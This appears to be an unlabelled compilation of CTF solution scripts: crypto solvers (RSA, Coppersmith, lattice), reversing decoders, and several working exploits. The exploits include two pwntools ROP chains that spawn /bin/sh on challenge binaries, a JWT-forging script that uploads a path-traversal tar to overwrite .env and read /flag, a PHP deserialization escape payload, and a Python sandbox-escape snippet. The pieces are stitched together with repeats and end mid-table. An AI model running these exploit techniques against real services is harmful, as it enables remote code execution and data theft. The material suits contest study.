dh = dh << 234
k1 = (e * dh - 1) // N + 1

kh = k1 >> 999
hash512 = bytes_to_long(hashlib.sha512(long_to_bytes(kh)).digest())

paq = N + 1 - (e * dh - 1) // k2

from Crypto.Util.number import *
import hashlib
from sage.all import *


N = 136118062754183389745310564810647775266982676548047737735816992637554134173584848603639466464742356367710495866667096829923708012429655117288119142397966759435369796296519879851106832954992705045187415658986211525671137762731976849094686834222367125196467449367851805003704233320272315754132109804930069754909
e = 84535510470616870286532166161640751551050308780129888352717168230068335698416787047431513418926383858925725335047735841034775106751946839596675772454042961048327194226031173378872580065568452305222770543163564100989527239870852223343451888139802496983605150231009547594049003160603704776585654802288319835839
c = 33745401996968966125635182001303085430914839302716417610841429593849273978442350942630172006035442091942958947937532529202276212995044284510510725187795271653040111323072540459883317296470560328421002809817807686065821857470217309420073434521024668676234556811305412689715656908592843647993803972375716032906
dh = 4640688526301435859021440727129799022671839221457908177477494774081091121794107526784960489513468813917071906410636566370999080603260865728323300663211132743906763686754869052054190200779414682351769446970834390388398743976589588812203933
leak = 12097621642342138576471965047192766550499613568690540866008318074007729495429051811080620384167050353010748708981244471992693663360941733033307618896919023


def pq_add(p, q, leak):
    lp, lq = len(p), len(q)
    tp0 = int(p + (512-lp) * '0', 2)
    tq0 = int(q + (512-lq) * '0', 2)
    tp1 = int(p + (512-lp) * '1', 2)
    tq1 = int(q + (512-lq) * '1', 2)

    if tp0 * tq0 > N or tp1 * tq1 < N:
        return
    if lp == 512-unknown_bits:
        pq.append(tp0)
        return

    t = int(leak[:2], 2)

    if t == 0:
        pq_add(p + '0', q + '0', leak[1:])
    if t == 1:
        pq_add(p + '0', q + '0', leak[1:])
        pq_add(p + '1', q + '0', '0' + leak[2:])
        pq_add(p + '0', q + '1', '0' + leak[2:])
    if t == 2:
        pq_add(p + '1', q + '0', '1' + leak[2:])
        pq_add(p + '0', q + '1', '1' + leak[2:])
        pq_add(p + '1', q + '1', leak[1:])
    if t == 3:
        pq_add(p + '1', q + '1', leak[1:])


dh = dh << 234
k1 = (e * dh - 1) // N + 1
kh = k1 >> 999
hash512 = bytes_to_long(hashlib.sha512(long_to_bytes(kh)).digest())

unknown_bits = 234 + 5

for i in range(2**6):
    k2 = (k1 >> (512 + 6) << (512 + 6)) + (i << 512) + (leak ^ hash512)
    paq = N + 1 - (e * dh - 1) // k2

    pq = []
    try:
        pq_add(p='', q='', leak=bin(paq)[2:])
    except:
        continue

    for ph in pq:
        x = PolynomialRing(Zmod(N), 'x').gen()
        f = ph + x
        res = f.monic().small_roots(X=2**unknown_bits, beta=0.49, epsilon=0.03)
        if res:
            p = int(f(res[0]))
            q = N // p
            print(long_to_bytes(pow(c, inverse(e, (p-1)*(q-1)), N)))
            exit()

#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<stdint.h>

//void xtea_encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
//    uint32_t sum = 0;
//    uint32_t delta = 0x9E3779B9;
//    uint32_t k[4];
//    memcpy(k, key, sizeof(k));
//    uint32_t v0 = v[0];
//    uint32_t v1 = v[1];
//    for (unsigned int i = 0; i < num_rounds; i++) {
//        uint32_t f = v1 << 4;
//        uint32_t g = v1 >> 5;
//        uint32_t h = f ^ g;
//        uint32_t i = h + v1;
//        uint32_t j = i ^ (sum + k[sum & 3]);
//        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + k[sum & 3]);  //1375741483
//        sum += delta;
//        uint32_t a = v0 << 4;
//        uint32_t b = v0 >> 5;
//        uint32_t c = a ^ b;
//        uint32_t d = c + v0;    
//        uint32_t e = d^ (sum + k[(sum >> 11) & 3]);
//        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + k[(sum >> 11) & 3]);
//    }
//    v[0] = v0;
//    v[1] = v1;
//}
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], delta = 0x20252025, sum = delta * num_rounds;
    for (i = 0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 6)^0x42) + v0) ^ (sum + key[(sum >> 7) & 3])^3;
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 6)^0x42) + v1) ^ (sum + key[sum & 3])^3;
    }
    v[0] = v0; v[1] = v1;
}
int main() {
    uint32_t const key[4] = { 2,0,2,5 };//0x64636261,0x68676665,0x34333231,0x38373635,0x6c6b6a69,0x706f6e6d,0x72657771,0
    uint32_t v[10] = { 0x83845981,0x34402115,0xfb1f53d2,0x547564c9,0x3b42fcc6,0x2b67fcde,0x675ab09c,0x1d47f41a,0x876d3272,0x734d7d95 };
    int byte_16561[256] = { 164, 196, 4, 206, 20, 149, 233, 17, 49, 24, 182, 176, 1, 38, 36, 106, 123, 18, 203, 103, 219, 248, 210, 126, 157, 208, 12, 95, 130, 33, 135, 131, 134, 124, 194, 159, 41, 202, 191, 73, 222, 78, 205, 98, 83, 190, 167, 3, 47, 181, 171, 148, 204, 46, 29, 243, 54, 16, 186, 215, 19, 53, 229, 179, 129, 26, 160, 231, 37, 117, 175, 81, 67, 92, 80, 72, 216, 163, 63, 113, 122, 199, 198, 144, 177, 187, 250, 221, 185, 246, 169, 183, 100, 56, 223, 224, 8, 178, 119, 51, 91, 2, 94, 121, 97, 7, 105, 35, 87, 74, 253, 192, 43, 161, 209, 40, 9, 111, 128, 85, 254, 66, 227, 71, 68, 225, 255, 188, 125, 139, 154, 96, 173, 151, 251, 141, 214, 172, 30, 15, 69, 234, 245, 75, 45, 59, 34, 28, 90, 114, 70, 195, 228, 93, 218, 146, 155, 10, 189, 153, 133, 52, 115, 165, 86, 55, 76, 22, 132, 162, 180, 109, 84, 230, 193, 31, 23, 61, 136, 247, 21, 88, 239, 77, 238, 137, 104, 89, 184, 32, 232, 220, 201, 145, 252, 213, 200, 65, 158, 118, 120, 50, 25, 102, 101, 57, 107, 197, 82, 39, 168, 6, 142, 166, 13, 152, 140, 249, 5, 27, 64, 143, 79, 60, 235, 112, 217, 99, 211, 226, 44, 240, 147, 58, 244, 0, 242, 170, 127, 42, 48, 236, 108, 116, 110, 241, 14, 62, 237, 150, 174, 138, 207, 11, 156, 212 };
    for (int h = 0; h < 10; h += 2) {
        uint32_t tmp = v[h];
        uint8_t* first_byte = (uint8_t*)&tmp;
        for (int g = 0; g < 4; g++) {
            int index = *(first_byte + g);
            for (int l = 0; l < 256; l++) {
                if (index == byte_16561[l]){
                    *(first_byte + g) = l;
                }
            }
        }
        v[h] = tmp;
    }
    for (int h = 0; h < 10; h++) {
        printf("%xn", v[h]);
    }
    printf("flag{");
    for (int l = 0; l < 9; l+=2) {
        uint32_t m[2];
        m[0] = v[l];
        m[1] = v[l + 1];
        decipher(32, m, key);
        char* input = (char*)m;
        for (int i = 0; i < 8; i++) {
            printf("%c", input[i]);
        }
    }
    printf("}");
 //flag{e8ff1a85-5ccd-4171-9f2a-ce6eea614a54}
    //decipher(32, v, key);
    //char* input = (char*)v;
    //printf("start:n");
    //for (int i = 0; i < 8; i++) {
    //    printf("%cn", input[i]);
    //}
    //for (int h = 0; h < 8; h++) {
    //    printf("%dn", input[h]);
    //}
}//0xd659641b,0x1ff8f057,0x68dbe56d,0x36c73dcb,0xff6fb296,0x45245c08,0x3fb8e222,0x3d546a65,

flag = [
    0x5c, 0x76, 0x4a, 0x78, 0x15, 0x62, 0x05, 0x7c, 0x6b, 0x21, 
    0x40, 0x66, 0x5b, 0x1a, 0x48, 0x7a, 0x1e, 0x46, 0x7f, 0x28, 
    0x02, 0x75, 0x68, 0x2a, 0x34, 0x0c, 0x4b, 0x1d, 0x3d, 0x2e, 
    0x6b, 0x7a, 0x17, 0x45, 0x07, 0x75, 0x47, 0x27, 0x39, 0x78, 
    0x61, 0x0b
]

key = [58, 26, 43, 31, 110, 0, 50, 69, 82, 68, 34, 85, 58, 55, 125, 67, 123, 35, 82, 28, 96, 70, 10, 7, 86, 56, 114, 121, 16, 29, 82, 74, 47, 117, 97, 22, 117, 20, 92, 65, 88, 118]

for i in range(len(flag)):
    print(chr(flag[i] ^ key[i]), end="")

# flag{b799eb3a-59ee-4b3b-b49d-39080fc23e99}

m1 = bytes_to_long(flag)
m2 = bytes_to_long(''.join(chr((ord(i) + 3) % 128) for i in flag.decode()).encode())

k = 0
for i in range(130):
    if i != 130 - 42:
        k += 3 * pow(2, i * 8)
    else:
        k -= 125 * pow(2, i * 8)  # '}'

e = getPrime(128)
c1 = pow(m1 * e, 2835, N)
c2 = pow(m2, 2025, N)
c3 = pow(m2, 2835, N) + e

x = PolynomialRing(Zmod(N), 'x').gen()
f = c2**7 - (c3-x)**5
f = f.monic()
res = f.small_roots(X=2**128, beta=1, epsilon=0.05)
e = res[0]

def gcd(g1, g2):
    while g2:
        g1, g2 = g2, g1 % g2
    return g1.monic()

x = PolynomialRing(Zmod(N), 'x').gen()
g1 = (x*e)**2835 - c1
g2 = (x+k)**2025 - c2
m1 = int(-gcd(g1, g2)[0])

flag = b'flag{' + str(uuid.uuid4()).encode() + b'}'
flag += bin(getPrime((1024 - bytes_to_long(flag).bit_length()) // 8)).encode()
m1 = bytes_to_long(flag)

i = 0
while 1:
    m1 += N
    flag = long_to_bytes(m1)
    if b'flag{' in flag:
        print(f'{i = }')
        print(flag)
        break
    i += 1

from Crypto.Util.number import *
from sage.all import *


N = 176871561120476589165761750300633332586877708342448994506175624203633860119621512318321172927876389631918300184221082317741380365447197777026256405312212716630617721606918066048995683899616059388173629437673018386590043053146712870572300799479269947118251011967950970286626852935438101046112260915112568392601
c1 = 47280375006817082521114885578132104427687384457963920263778661542552259860890075321953563867658233347930121507835612417278438979006705016537596357679038471176957659834155694284364682759675841808209812316094965393550509913984888849945421092463842546631228640293794745005338773574343676100121000764021207044019
c2 = 176231410933979134585886078013933649498379873444851943224935010972452769899603364686158279269197891190643725008151812150428808550310587709008683339436590112802756767140102136304346001599401670291938369014436170693864034099138767167055456635760196888578642643971920733784690410395944410255241615897032471127315
c3 = 135594807884016971356816423169128168727346102408490289623885211179619571354105102393658249292333179346497415129785184654008299725617668655640857318063992703265407162085178885733134590524577996093366819328960462500124201402816244104477018279673183368074374836717994805448310223434099196774685324616523478136309

k = 0
for i in range(130):
    if i != 130 - 42:
        k += 3 * pow(2, i * 8)
    else:
        k -= 125 * pow(2, i * 8)  # '}'


x = PolynomialRing(Zmod(N), 'x').gen()
f = c2**7 - (c3-x)**5
f = f.monic()
res = f.small_roots(X=2**128, beta=1, epsilon=0.05)
e = res[0]


def gcd(g1, g2):
    while g2:
        g1, g2 = g2, g1 % g2
    return g1.monic()

x = PolynomialRing(Zmod(N), 'x').gen()
g1 = (x*e)**2835 - c1
g2 = (x+k)**2025 - c2
m1 = int(-gcd(g1, g2)[0])


i = 0
while 1:
    m1 += N
    flag = long_to_bytes(m1)
    if b'flag{' in flag:
        print(f'{i = }')
        print(flag)
        break
    i += 1

class Baby {
public:
    virtual void gender() = 0;
};
 
class Boy: public Baby{
public:
    Boy() {
        cout << "A boy was born" << endl;
        strncpy(certificate, generateRandomString(16).c_str(), MAX_DATA_LEN);
    }
    virtual void gender() {
        cout << "The certificate is " << certificate << 'x00' << endl;
    }
    char certificate[MAX_DATA_LEN + 0x10];
};
 
class Girl: public Baby {
public:
    Girl() {
        cout << "A girl was born" << endl;
        certificate = [](const char* str) { puts(str); };
    }
    virtual void gender() {
        string s = "The certificate is " + generateRandomString(16) + 'x00';
        certificate(s.c_str());
    }
    void (*certificate)(const char*);
};

static void choose(Baby* baby) {
    string s = typeid(*baby).name();
    char choice;
    if (s == "3Boy") {
   // pass it
    } else if ( s == "4Girl") {
        menu(baby);
        cin >> choice;
        switch (choice) {
            case '1': {
                // pass it
            }
            case '2': {
                string buf;
                Boy* tomboy = static_cast<Boy*>(baby);
                cout << "If you think you are a boy, please leave your gender certificate" << endl;
                cin >> buf;
                strncpy(tomboy->certificate, buf.c_str(), MAX_DATA_LEN); // 此处certificate会被识别为Boy类的char*类型，因此不会报错
                tomboy->gender(); // 这里会识别为Gril类的gender实现方法
                break;
            }
            default: {
                // pass it
            }
        }
    }
}

void gender() {
        char buf[MAX_DATA_LEN];
        cout << "If you think you are a shopping bag, please leave your gender certificate" << endl;
        read(0, buf, 0x100);
}

from pwn import *
from pwn import p64
 
target_info = {
    'exec_path': './pwn',
    'elf_info': ELF('./pwn'),
    'libc_info': ELF('./libc.so.6')
}

#io = process(target_info['exec_path'])
io = remote('127.0.0.1', 8888)

#gdb.attach(io, 'b *0x40262E')
#pause()

io.recvuntil(b'gift: ')

setvbuf = {
    'got' : int(io.recvline().strip(), 16)
}
log.info(f'setvbuf@got: {hex(setvbuf["got"])}')
target_info['libc_info'].address = setvbuf['got'] - target_info['libc_info'].sym['setvbuf']
log.info(f'libc_base: {hex(target_info["libc_info"].address)}')

binsh = target_info['libc_info'].address + 0x201500
system = target_info['libc_info'].sym['system']

payload = p64(target_info['elf_info'].sym['_Z6genderv'])
io.sendlineafter(b'Girln', b'2')
io.sendlineafter(b'Tomboyn', b'2')
io.sendlineafter(b'certificaten', payload)

puts = {
    'plt': target_info['elf_info'].plt['puts'],
    'got': target_info['elf_info'].got['puts']
}

payload = p64(0)*2 + p64(binsh+8) + p64(0x000000000040391a) + p64(0) + p64(0x0000000000402fcc) + p64(system) + p64(0)*3 + p64(0x000000000040201a) + p64(0x0000000000403476)
io.sendlineafter(b'certificaten', payload)


io.interactive()

# 0x000000000040391a : mov rax, qword ptr [rbp - 8] ; pop rbp ; ret
# 0x0000000000402fcc : pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
# 0x000000000040201a : ret
# 0x0000000000403476 : mov rdi, rax ; call rbx

import jwt
import datetime
import os
import tarfile
import sys
import requests
import random
import string

def generate_random_string(length):
    letters = string.ascii_letters + string.digits
    return ''.join(random.choice(letters) for i in range(length))

def send_request(session, method, path, data=None, files=None, headers=None):
    url = f"http://{session.url}{path}"
    response = session.request(method, url, data=data, files=files, headers=headers, proxies={'http': 'http://127.0.0.1:8083'})
    return response


def generate_jwt(user_id, is_admin, jwt_key):
    expiration_time = datetime.datetime.utcnow() + datetime.timedelta(hours=24)
    claims = {
        'UserID': user_id,
        'IsAdmin': is_admin,
        'exp': expiration_time
    }
    token = jwt.encode(claims, jwt_key, algorithm='HS256')
    return token

def create_malicious_tar():
    # Create the directory and .env file
    os.makedirs('exp', exist_ok=True)
    with open('exp/.env', 'w') as f:
        f.write("JWT_SECRET=hack")

    # Create the tar file with the path traversal
    with tarfile.open('hack.tar', 'w') as tar:
        tar.add('exp/.env', arcname='exp/../../../.env')

def exp(url, token):
    payload = "echo `cat /flag` > /var/www/html/public/flag.txt"

    session = requests.Session()
    session.url = url

    random_string = generate_random_string(4)

    user_data = {
        "username": random_string,
        "password": random_string
    }
    response1 = send_request(session, 'POST', '/register', data=user_data)
    if response1.status_code != 200:
        return "Failed to register"
    response2 = send_request(session, 'POST', '/login', data=user_data)
    if response2.status_code != 200:
        return "Failed to login"

    with open('hack.tar', 'rb') as f:
        files = {'file': f}
        response3 = send_request(session, 'POST', '/upload', files=files)
        if response3.status_code != 200:
            return "Failed to upload malicious tar file"
        print("Malicious tar file uploaded successfully")

    # 触发加载环境变量
    send_request(session, 'GET', '/login')
    headers = {
        'Cookie': f'token={token}'
    }
    response4 = send_request(session, 'GET', '/download/1', headers=headers)
    return response4.text

if __name__ == "__main__":
    create_malicious_tar()
    print("Malicious tar file created: hack.tar")

    jwt_key = "hack"
    user_id = 1
    is_admin = True

    token = generate_jwt(user_id, is_admin, jwt_key)
    print("Generated JWT:", token)

    URL = sys.argv[1]
    flag = exp(URL, token)
    print(flag)

def b():
 def a():yield g.gi_frame.f_back.f_back.f_back.f_back
 g=a();g=[x for x in g][0];return g.f_globals['BOX']
s=b()

import base64

"""
def b():
    def a():yield g.gi_frame.f_back.f_back.f_back.f_back
    g=a();g=[x for x in g][0];return g.f_globals['BOX']
s=b()
"""

m = "def b():\n def a():yield g.gi_frame.f_back.f_back.f_back.f_back\n g=a();g=[x for x in g][0];return g.f_globals['BOX']\ns=b()"
p = base64.b64encode(m.encode())
print(p)
print(len(m))

k,P,*s=1,1,
while k<1e3:s+=P%k*[k];P*=k*k;k+=1

k = 1
P = 1
s = []
for k in range(2, 1000):
    if P % k != 0:
        s.append(k)
        P*=k*k
print(s)

k = 1
P = 1
s = []

k,P,*s=1,1,

for k in range(2, 1000):
    if P % k != 0:
        s.append(P)
        P*=k

while k<1e3:
    if P % k != 0:
        s.append(P)
        P*=k
    k+=1

import base64

s = base64.b64encode(b"k,P,*s=1,1,\nwhile k<1e3:s+=P%k*[k];P*=k*k;k+=1")
print(len(base64.b64decode(s)))
print(s)
# ayxQLCpzPTEsMSwKd2hpbGUgazwxZTM6cys9UCVrKltrXTtQKj1rKms7ays9MQ==

from tqdm import *


modulus = 257


def find(i, j):
    for t in range((modulus - 1) ** 2 - 1):
        if (i * coefs1[t] + j * coefs2[t]) % modulus == values[t]:
            return False
    return True


def findflag():
    for i in range(1, modulus):
        for j in range(1, modulus):
            if find(i, j):
                return chr((j - i) % modulus)


flag = ""
with open("output.txt", "r") as f:
    for _ in trange(0, 42):
        coefs1 = []
        coefs2 = []
        values = []
        for i in range((modulus - 1) ** 2 - 1):
            s = f.readline().replace("\n", "").split(" ")
            coefs1.append(int(s[0]))
            coefs2.append(int(s[1]))
            values.append(int(s[2]))
        flag += findflag()
print(flag)

for i in range(32):
	idx = data >> 62
	data <<= 2
	print(hex(data))
	data &= 0xffffffffffffffff
	data ^= key[idx]

import libnum
def decrypt(datas):
    for j in range(len(datas)):
        data=datas[j]
        for i in range(32):
            low=data&0b11
            if low==0:
                data^=0xda144260
                data>>=2
                data|=(1<<62)
            if low==3:
                data ^= 0xeef1c943
                data >>= 2
                data |= (2 << 62)
            if low==1:
                data ^= 0xf656460d
                data >>= 2
                data |= (0 << 62)
            if low==2:
                data ^= 0xe4390f66
                data >>= 2
                data |= (3 << 62)
        datas[j]=data
    return datas
enc = [0xfbbc7f84591ff393, 0x360c751ee6bd9abd, 0x60854fc80d82350a, 0x139692ebf3ee3c4f, 0x8571b17650a42bd4]
flag=decrypt(enc)
for i in flag:
    print(libnum.n2s(i).decode()[::-1],end="")

if (!valid_host && !valid_length && !valid_content)
  {
      return 0;
  }

memcpy(real_content, content, length);

from pwn import *

filename = './pwn'
context.arch='amd64'
context.log_level = "debug"
context.terminal = ['tmux', 'neww']
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('localhost', 9999)

def debug(params=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid+2, params)
    pause()

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

# debug("")

template = '''POST /{} HTTP/1.1\r
Host: www.baidu.com\r
User-Agent: Haha\r
Content-Length: {}\r
Content: {}\r
'''
payload = template.format("show", 0x109, 'a'*0x109)
sh.send(payload)

sh.recvuntil(b'a'*0x109)
canary = u64(sh.recv(7).rjust(8, b'\x00'))
leak_info('canary', canary)

pop_5 = 0x40a9d7
pop_rdi = 0x40296f
pop_rsi = 0x40a9de
pop_rdx_2 = 0x4a4c4b
pop_rax = 0x459227
syscall = 0x422fe6
pop_rsp = 0x402dce
leave_ret = 0x401b01
ret = 0x40101a
bss = 0x4E8700

chain = b'a'*0x108 + p64(canary) + p64(0xdeadbeaf)
chain += p64(pop_5) + (b'a'*0x15 + b'/add\x00').ljust(0x28, b'a')
chain += p64(pop_rdi) + p64(0)
chain += p64(pop_rsi) + p64(bss)
chain += p64(pop_rdx_2) + p64(0x100)*2
chain += p64(pop_rax) + p64(0)
chain += p64(syscall)
chain += p64(pop_rax) + p64(59)
chain += p64(pop_rdi) + p64(bss)
chain += p64(pop_rsi) + p64(0)
chain += p64(pop_rdx_2) + p64(0)*2
chain += p64(syscall)

template = '''POST /{} HTTP/1.1\r
Host: www.baidu.com\r
User-Agent: Haha\r
Content-Length: {}\r
Content: '''

chain = chain
payload = template.format("add", len(chain)).encode('utf-8')
payload += chain + b'\r\n'

sh.send(payload)

sh.send('/bin/sh\x00')

sh.interactive()

file_put_contents('books/' . $book->id . '.info', waf(serialize($book)));
function waf($data)
{
    return str_replace("'", "\\'", $data);
}

<?php

class Book
{
    public $id;
    public $title;
    public $author;
    public $summary;
    public $reader;
}

class Reader
{
    public function __construct($location)
    {
        $this->location = $location;
    }

    public function getLocation()
    {
        return $this->location;
    }
    private $location;
    public function getContent()
    {
        return file_get_contents($this->location);
    }
    public function setContent($content)
    {
        file_put_contents($this->location, $content);
    }
}

$book = new Book();
$book->id = 'kengwang_aura';
$book->title = 'test';
$book->author = 'test';
$partA = '";s:6:"reader";O:6:"Reader":1:{s:16:"';
$partB = 'Reader';
$partC = 'location";s:14:"books/shel.php";}};';
$payload =  $partA . "\x00" . $partB . "\x00" . $partC;
$length = strlen($partA) + strlen($partB) + strlen($partC) + 2;
echo "[+] Payload length: " . $length . "\n";
$book->summary = str_repeat('\'', $length) . $payload;
$book->reader = new Reader('books/' . 'abc');
function waf($data)
{
    return str_replace("'", "\\'", $data);
}
echo "[+] Summary: ";
echo urlencode($book->summary);
$res = waf(serialize($book));
echo "\n[+] Serialized payload: ";
echo base64_encode($res);
echo "\n";
$newBook = unserialize($res);
echo "[+] Location: ";
echo $newBook->reader->getLocation();

import string


a = string.printable


def solve2(hash, check):
    for i1 in a:
        for i2 in a:
            input = i1 + i2

            def myhash(s: str) -> str:
                t1 = 0x100000001B3
                t2 = hash
                for byte in s.encode():
                    t2 ^= byte
                    t2 = (t2 * t1) & 0xFFFFFFFFFFFFFFFF
                return f"{t2:016x}", t2  # 用0 padding到16位

            res, HASH = myhash(input)
            if res == check:
                return input, HASH


enc = [
    "08985807b541d18f",
    "d5f2d079088c0b17",
    "2282110ea3670872",
    "23826d0a97ceea45",
    "5feb92ec9da6ccc6",
    "418727fdc0a2295b",
    "bf325bb7f6fb98b9",
    "0669076ed7c9bfb3",
    "d905a4abf3eb7f22",
    "5f5741aae1954e6c",
    "8f70569021c638dd",
    "e77f76949e5db63a",
    "7f98a3f5e1b1e340",
    "9b7cd1e5a8dea236",
    "d3c21142b990e7b8",
]

hash = 0xCBF29CE484222325
input = ""
for c in enc:
    res = solve2(hash, c)
    input += res[0]
    hash = res[1]
print(input)

import itertools
from Crypto.Util.number import *
import gmpy2
from tqdm import trange

def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()
    R = f.base_ring()
    N = R.cardinality()
    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)
    G = Sequence([], f.parent())
    for i in range(m + 1):
        base = N ^ (m - i) * f ^ i
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)
    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)
    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)
    B = B.dense_matrix().LLL()
    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)
    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots
    return []

n = 5605777780127871552103278440489930168557569118966981388111283042550796167470265465148458919374665519335013101681890408413810351780671950283765145543168779446153786190869731166707967097095246677053262868926963631796027692694223765625053269102325714361312299011876036815423751522482629914361369303649193526946050137701205931577449326939722902280884984494828850611521784382097900268639648421100760612558110614208245291400961758972415881709281708443424129033685255718996719201537066717587527029554871540574867831957154286334639399985379381455084604901293000229526196544921067214723085504463673412082637877637982771445298815007769526806112008703908400170846707986989384244531990469279604588770393462375930699135443458952703826608237292999895910024613311408883134789788541751697007502656798556053417265191533053158952284994030769145926816478390761642058013769635850833893158830591398862163134753203291719549474871116653745337968227
R.<x,y,z>=Zmod(n)[]
n_ = int(gmpy2.iroot(n, 3)[0])
t = 2 ^ 3
P = []
for i in trange(t):
    for j in range(t):
        for k in range(t):
            f = (n_ + t * x + i) * (n_ + t * y + j) * (n_ + t * z + k)
            s = 342
            roots = small_roots(f, [2 ^ s, 2 ^ s, 2 ^ s], m=1, d=3)
            if roots:
                a, b, c = [int(ii) * t + jj if int(ii).bit_length() <= 512 else int(n - ii) * t - jj for ii, jj in zip(roots[0], [i, j, k])]
                for l in [a, b, c]:
                    p = n_ + l
                    if n % p == 0:
                        P.append(p)
                    p = n_ - l
                    if n % p == 0:
                        P.append(p)
p, q, r = set(P)
d = inverse(65537, (p - 1) * (q - 1) * (r - 1))
c = 2998195560453407057321637509862236387961676411996988529185696118404592349869917006166370346762261303282478779647282039317061146533808487789458703169149689179547543732935053220010550004328207373171271534689897340156346458951776319267981966893926724550629182100766890856964207263709029611781806548130358294543573874132473259788387939849997550651614987993962540192023207354839106090274252125961835070701748643163379053118598595995782448140944376681636633592442158453965800439960134688017496184195454406927204485213436540382637720118180670197194949275760000729877093621741313147190401896114633643891311672542703928421032698499968701052818985292683628072129271790220674145955527935027879112279336148316425115255710066132502392447843608711463775710558880259205308541126041959858947252063815158749021817255637836170676726466347847422352280599210078359786387419424076245960344657767332883964636288493649066530215094453490169688507988
print(long_to_bytes(pow(c, d, n)))

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*--------------------------------------------------------------------------------------------------------------*/
typedef unsigned char ubyte;
/*--------------------------------------------------------------------------------------------------------------*/
#define KEY_LEN 8
typedef ubyte key_t[KEY_LEN];
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte PC1[] = {
 57, 49, 41, 33, 25, 17,  9,
 1, 58, 50, 42, 34, 26, 18,
 10,  2, 59, 51, 43, 35, 27,
 19, 11,  3, 60, 52, 44, 36,
 63, 55, 47, 39, 31, 23, 15,
 7, 62, 54, 46, 38, 30, 22,
 14,  6, 61, 53, 45, 37, 29,
 21, 13,  5, 28, 20, 12,  4
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte PC2[] = {
 14, 17, 11, 24,  1,  5,
 3, 28, 15,  6, 21, 10,
 23, 19, 12,  4, 26,  8,
 16,  7, 27, 20, 13,  2,
 41, 52, 31, 37, 47, 55,
 30, 40, 51, 45, 33, 48,
 44, 49, 39, 56, 34, 53,
 46, 42, 50, 36, 29, 32
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte IP[] = {
 58, 50, 42, 34, 26, 18, 10,  2,
 60, 52, 44, 36, 28, 20, 12,  4,
 62, 54, 46, 38, 30, 22, 14,  6,
 64, 56, 48, 40, 32, 24, 16,  8,
 57, 49, 41, 33, 25, 17,  9,  1,
 59, 51, 43, 35, 27, 19, 11,  3,
 61, 53, 45, 37, 29, 21, 13,  5,
 63, 55, 47, 39, 31, 23, 15,  7
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte E[] = {
 32,  1,  2,  3,  4,  5,
 4,  5,  6,  7,  8,  9,
 8,  9, 10, 11, 12, 13,
 12, 13, 14, 15, 16, 17,
 16, 17, 18, 19, 20, 21,
 20, 21, 22, 23, 24, 25,
 24, 25, 26, 27, 28, 29,
 28, 29, 30, 31, 32,  1
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte S[][64] = {
 {
                6, 6, 4, 9, 6, 7, 4, 11, 0, 2, 8, 12, 10, 8, 0, 1, 12, 6, 9, 9, 3, 7, 11, 5, 4, 13, 1, 3, 15, 8, 10, 13, 5, 13, 10, 2, 12, 0, 14, 13, 11, 14, 5, 3, 2, 8, 14, 3, 14, 4, 11, 7, 15, 5, 1, 7, 1, 12, 9, 0, 10, 2, 15, 15
        },
        {
                10, 2, 4, 8, 12, 15, 3, 10, 4, 8, 3, 4, 14, 5, 7, 15, 15, 8, 0, 7, 9, 4, 13, 0, 5, 8, 11, 14, 6, 2, 2, 6, 13, 9, 2, 3, 10, 7, 1, 9, 5, 15, 1, 11, 9, 14, 13, 11, 7, 12, 12, 5, 1, 10, 14, 6, 6, 0, 0, 12, 3, 1, 11, 13
        },
        {
                10, 0, 0, 6, 5, 13, 9, 14, 3, 1, 1, 8, 13, 9, 8, 15, 12, 7, 1, 3, 15, 7, 11, 7, 5, 10, 3, 10, 2, 6, 8, 10, 9, 3, 2, 14, 14, 11, 11, 2, 13, 15, 7, 6, 8, 4, 4, 12, 0, 1, 14, 5, 12, 12, 4, 2, 6, 9, 4, 5, 11, 15, 0, 13
        },
        {
                6, 12, 1, 11, 14, 0, 4, 4, 4, 2, 15, 3, 3, 1, 1, 2, 8, 0, 9, 6, 0, 8, 13, 2, 12, 3, 3, 10, 7, 15, 12, 8, 15, 14, 7, 4, 6, 14, 1, 7, 7, 9, 6, 9, 15, 5, 11, 0, 10, 13, 13, 9, 13, 5, 5, 11, 12, 11, 8, 2, 5, 10, 14, 10
        },
        {
                5, 5, 7, 9, 9, 13, 0, 5, 6, 11, 12, 5, 4, 15, 0, 12, 11, 13, 13, 10, 8, 2, 13, 3, 3, 14, 14, 6, 9, 3, 0, 7, 10, 9, 7, 8, 10, 2, 1, 0, 6, 14, 15, 8, 14, 15, 2, 1, 7, 6, 15, 10, 3, 12, 12, 4, 1, 8, 4, 11, 2, 1, 11, 4
        },
        {
